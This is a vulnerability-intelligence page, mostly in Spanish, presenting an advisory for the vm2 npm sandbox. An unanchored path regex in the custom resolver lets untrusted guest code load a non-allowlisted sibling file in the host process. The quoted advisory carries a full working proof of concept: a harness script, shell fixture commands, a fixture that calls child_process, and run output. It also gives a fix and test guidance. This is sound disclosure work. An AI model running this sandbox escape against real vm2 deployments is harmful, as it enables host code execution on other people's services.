llamaCVEVulnerability Intelligence
/
Advisory · GitHub · npm · vm2

GHSA-5H3F-Q97H-CCVC

vm2: NodeVM custom resolution bypasses external path boundaries

Parche disponible
Descargar PNG JSON
CVSS
—
critical
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -27 d de la divulgación
Exposición45 dDesde la divulgación, 5 oct 2026, 6:24 p. m.
Detección42 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Parche 3.12.2
Monitoreo
Detectada
8 sept 26
5 oct 26
17 nov 26
20 nov 26
8 sept 26
27 sept 26
15 oct 26
2 nov 26
20 nov 26
FechaFaseEventoDetalle
Remediación Parche 3.12.2 vm2 · -27 d desde divulgación
Divulgación Publicada GHSA-5H3F-Q97H-CCVC divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

At source revision `91034466bfb7f56b95fd48083ec6ca36d058f164` of vm2 3.11.8, an untrusted `NodeVM` guest can turn one allowlisted custom-resolved module into authorization for a separate file whose path merely shares the resolved path's string prefix. `LegacyResolver.customResolve` stores the resolved path in `this.externals` as `^<path>` without an end or separator boundary; a later absolute require of a sibling such as `foo2/index.js` therefore passes the external check and is loaded through `hostRequire` when the configured context is `host`. The decisive attack loaded `foo` as `FOO_OK` and then executed the prefix-sharing sibling, which returned `PREFIX_PWN` after invoking `child_process`; an otherwise identical control denied the sibling with `ENOTFOUND`.

Technical Details

The affected configuration is a documented `NodeVM` use in which the embedder sets `require.external` to `{modules: ['foo'], transitive: false}`, supplies a custom resolver that returns the `foo` directory, sets a root directory, and uses `context: 'host'`. The guest controls the `require` specifiers and requests the allowlisted bare name before requesting the absolute path of the prefix-sharing sibling. The test entry point is deliberately outside the configured root so ordinary `node_modules` lookup misses and the custom resolver is consulted.

The source-to-sink path is:

  • `NodeVM.run` executes guest code and creates the module-specific `require` function at `lib/nodevm.js:516-575`.
  • `DefaultResolver.resolveFull` searches normal locations and then dispatches a miss to `customResolve` at `lib/resolver.js:227-316`.
  • `LegacyResolver.customResolve` checks the bare specifier against the external cache, calls the embedder's resolver, and appends an authorization regular expression at `lib/resolver-compat.js:266-291`.
  • `isPathAllowedForModule` falls back to `this.externals.some(regex => regex.test(path))` at `lib/resolver-compat.js:193-215`. The dynamically appended expression `^/…/node_modules/foo` also matches `/…/node_modules/foo2/index.js` because no path separator or end-of-string condition is required.
  • `loadJS` uses `this.hostRequire(filename)` for a host-context file and only wraps the returned exports with `vm.readonly` at `lib/resolver-compat.js:255-263`. Top-level effects of the required file therefore occur in the host process before the exports are wrapped.

The relevant current code has the same flaw for both supported custom-resolver return shapes:

if (typeof resolved === 'string') {
	this.externals.push(new RegExp('^' + escapeRegExp(resolved)));
	return this.loadAsFileOrDirectory(resolved, extList);
}
const {module=x, path: resolvedPath} = resolved;
this.externals.push(new RegExp('^' + escapeRegExp(resolvedPath)));
return this.loadNodeModules(module, [resolvedPath], extList);

The existing anchored bare-specifier matcher and the separator-aware `mod.path` check address different authorization states. They do not constrain the new `this.externals` entries created after custom resolution. The violated invariant is that a resolved allowlisted path may authorize only that exact path and its descendants after a path separator, never a sibling selected by raw string prefix.

PoV

The minimal guest operation is to load the configured bare name and then request the separate absolute sibling path:

const foo = require('foo');
module.exports = {
	foo,
	sibling: require('/tmp/vm2-prefix-case/node_modules/foo2/index.js')
};

The corresponding embedder configuration is:

const vm = new NodeVM({
	require: {
		external: {modules: ['foo'], transitive: false},
		root: '/tmp/vm2-prefix-case',
		context: 'host',
		resolve(name) {
			return name === 'foo'
				? '/tmp/vm2-prefix-case/node_modules/foo'
				: undefined;
		}
	}
});

The sibling is not itself allowlisted. Its successful load is the authorization violation; the `child_process` call in its top-level code demonstrates that the file ran in the host context rather than as guest-only code.

PoC

From a checkout of the repository, use the pinned revision and install its declared dependencies without lifecycle scripts:

git checkout 91034466bfb7f56b95fd48083ec6ca36d058f164
npm ci --ignore-scripts

Save the following harness as `/tmp/custom-resolve-prefix.js`:

'use strict';

const path = require('path');
const { NodeVM } = require(process.cwd() + '/lib/main.js');

const [, , mode, fooIndexPath, siblingPath] = process.argv;
const fooDir = path.dirname(fooIndexPath);
const root = path.resolve(fooDir, '../..');
const entry = path.join(path.dirname(root), 'entry.js');
let customCalls = 0;

function runGuest(code) {
	return new NodeVM({
		require: {
			external: {modules: ['foo'], transitive: false},
			root,
			context: 'host',
			resolve(moduleName) {
				if (moduleName === 'foo') {
					customCalls++;
					return fooDir;
				}
				return undefined;
			}
		}
	}).run(code, entry);
}

const record = {mode, result: 'invalid'};

try {
	if (mode === 'candidate') {
		const output = runGuest(`
			const foo = require('foo');
			module.exports = {foo, sibling: require(${JSON.stringify(siblingPath)})};
		`);
		record.output = output;
		if (output && output.foo === 'FOO_OK' && output.sibling === 'PREFIX_PWN') {
			record.result = 'violation';
			record.signal = 'prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN';
		} else {
			record.result = 'pass';
		}
	} else if (mode === 'control') {
		try {
			runGuest(`module.exports = require(${JSON.stringify(siblingPath)});`);
			record.result = 'violation';
			record.signal = 'prefix-sharing sibling loaded before custom resolution';
		} catch (error) {
			record.result = 'pass';
			record.denial = String(error && (error.code || error.message) || error);
		}
	} else {
		record.error = 'unknown mode';
	}
} catch (error) {
	record.result = 'invalid';
	record.error = String(error && (error.stack || error.message) || error);
}

record.customCalls = customCalls;
console.log(JSON.stringify(record));

Create the two neutral fixture modules. The first is the configured module; the second is a separate sibling whose name shares the first module's path prefix:

mkdir -p /tmp/vm2-prefix-case/node_modules/foo /tmp/vm2-prefix-case/node_modules/foo2
cat > /tmp/vm2-prefix-case/node_modules/foo/index.js <<'EOF'
'use strict';
module.exports = 'FOO_OK';
EOF
cat > /tmp/vm2-prefix-case/node_modules/foo2/index.js <<'EOF'
'use strict';
module.exports = require('child_process').execFileSync(
	process.execPath,
	['-e', "process.stdout.write('PREFIX_PWN')"]
).toString();
EOF

Run the attack and then the negative control from the repository checkout:

node /tmp/custom-resolve-prefix.js candidate \
  /tmp/vm2-prefix-case/node_modules/foo/index.js \
  /tmp/vm2-prefix-case/node_modules/foo2/index.js
node /tmp/custom-resolve-prefix.js control \
  /tmp/vm2-prefix-case/node_modules/foo/index.js \
  /tmp/vm2-prefix-case/node_modules/foo2/index.js

The decisive results were:

{"mode":"candidate","result":"violation","output":{"foo":"FOO_OK","sibling":"PREFIX_PWN"},"signal":"prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN","customCalls":1}
{"mode":"control","result":"pass","denial":"ENOTFOUND","customCalls":0}

Both executions completed successfully with return code 0 in an offline `node:bookworm` runtime. The attack reached `LegacyResolver.customResolve` once, while the control reached it zero times. The `foo2` fixture can use `child_process` only because the target loaded it through the host-context path; the same absolute request without the preceding custom resolution was denied.

Impact

This is a sandbox authorization bypass crossing from untrusted guest JavaScript into the host process. A service that runs attacker-controlled JavaScript in a `NodeVM` with a custom external resolver can be induced to load an existing prefix-sharing host file that was not allowlisted, despite `transitive: false`. The demonstrated sibling executes `child_process` at top level and returns a host-generated marker, showing host code execution rather than a guest-only exception or denial of service. The exploit requires the application to use this custom-resolver/host-context configuration and for a readable prefix-sharing file to exist; the tested claim is limited to that deployment shape and does not assert that every vm2 installation is affected. This is CWE-863 (Incorrect Authorization), with CVSS 3.1 `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`: after the stated deployment preconditions, the guest needs only low-complexity module requests, no additional host privilege or user interaction, and the impact crosses into host confidentiality, integrity, and availability.

Suggested Fix

Make every custom-resolver-derived authorization entry path-boundary aware. The smallest correction is to require either the exact resolved path or a path separator followed by a descendant, for both the string result and the `{path: resolvedPath}` result:

const externalPath = value => new RegExp(
	'^' + escapeRegExp(value) + '(?:[\\/].*)?$'
);

Use `externalPath(resolved)` at the string-return branch and `externalPath(resolvedPath)` at the object-return branch. A path-aware canonical comparison shared with `isPathAllowedForModule` is preferable if the resolver filesystem supports it, because it can consistently handle separators and normalization. The fix must not rely only on the bare-specifier matcher: the bypass occurs after that matcher has already accepted `foo` and after `customResolve` has appended a new regex.

Add regression coverage that configures `external: {modules: ['foo'], transitive: false}`, a custom resolver returning `foo`, and `context: 'host'`; it should require `foo` and then assert that the absolute `foo2/index.js` sibling is denied and cannot emit a host marker. Keep a negative-control case that requests the sibling without first resolving `foo`, and add positive cases for the exact resolved file and legitimate descendants. Exercise both custom-resolver return forms so neither `this.externals.push` branch can reintroduce the prefix authorization.

Affected Package/Versions

  • Package: `vm2` in the npm ecosystem.
  • Tested package version: `3.11.8`, at source revision `91034466bfb7f56b95fd48083ec6ca36d058f164`.
  • Affected version range tested: `pinned-revision-91034466bfb7f56b95fd48083ec6ca36d058f164`.
  • Current head: the pinned revision is vulnerable, as shown by the attack/control pair above.
  • Patched versions: none identified by the tested evidence.
  • Only the pinned revision was tested; no broader historical range or fixed revision or release is claimed.

Advisory History

The closest public match is GHSA-7q3f-wx44-378m https://github.com/patriksimek/vm2/security/advisories/GHSA-7q3f-wx44-378m, titled “External module allowlist uses a raw prefix test, so a prefix-sharing sibling package is treated as allowlisted.” That advisory concerns the `mod.path.startsWith(path)` logic in `isPathAllowedForModule` for a relative require from an allowlisted package. Its public fix is commit `6ac3916da84e060c403e407b6b6318fcc66b0e72` https://github.com/patriksimek/vm2/commit/6ac3916da84e060c403e407b6b6318fcc66b0e72, which adds a path-boundary check to `isPathAllowedForModule` while leaving the filename-side `this.externals` fallback unchanged. A related public resolver fix is commit `ab4ee7d803e8c80155e9eb3672226bddbca4aa9c` https://github.com/patriksimek/vm2/commit/ab4ee7d803e8c80155e9eb3672226bddbca4aa9c, which rejects `..` traversal in allowlisted subpaths and explicitly leaves the filename-side `this.externals` matcher untouched. This finding has a separate fix surface: the current `customResolve` function appends new raw-prefix regular expressions to `this.externals` at both custom-resolver return branches, which those public fixes do not describe or patch.

GHSA-c48m-32m9-vx93 https://github.com/patriksimek/vm2/security/advisories/GHSA-c48m-32m9-vx93, “vm2 Custom Module Resolver Can Bypass the External Package Allowlist by Loading a Colliding Host Package,” is the closest custom-resolver advisory. It fixes the specifier-side `externalCache` matcher and rejects `..` segments before the custom resolver is consulted. This finding reaches a different, residual branch after successful custom resolution: `customResolve` appends a filename-side raw-prefix regular expression to `this.externals`, allowing a prefix-sharing absolute sibling. Neither GHSA-c48m nor GHSA-7q3f patches that branch. Repository issue, pull-request, and commit history contains no matching fix for it. No patched version is claimed because only the pinned revision was tested.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
vm2< 3.12.2
3.12.2
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmvm2
Corregida 3.12.2 -27 d 3.12.2 no afectada
Versiones corregidas3.12.2
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-100721
Otrahttps://github.com/patriksimek/vm2/security/advisories/GHSA-5h3f-q97h-ccvc
Otrahttps://github.com/patriksimek/vm2/commit/6ac3916da84e060c403e407b6b6318fcc66b0e72
Otrahttps://github.com/patriksimek/vm2/commit/91034466bfb7f56b95fd48083ec6ca36d058f164
Otrahttps://github.com/patriksimek/vm2/commit/ab4ee7d803e8c80155e9eb3672226bddbca4aa9c
Otrahttps://github.com/patriksimek/vm2/commit/fb4977f6211da6cadffdf1f3a2017a826a21c51f
Otrahttps://github.com/patriksimek/vm2
Otrahttps://github.com/patriksimek/vm2/releases/tag/v3.12.2
Otrahttps://www.vulncheck.com/advisories/vm2-before-3.12.2-authorization-bypass-via-custom-resolver

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.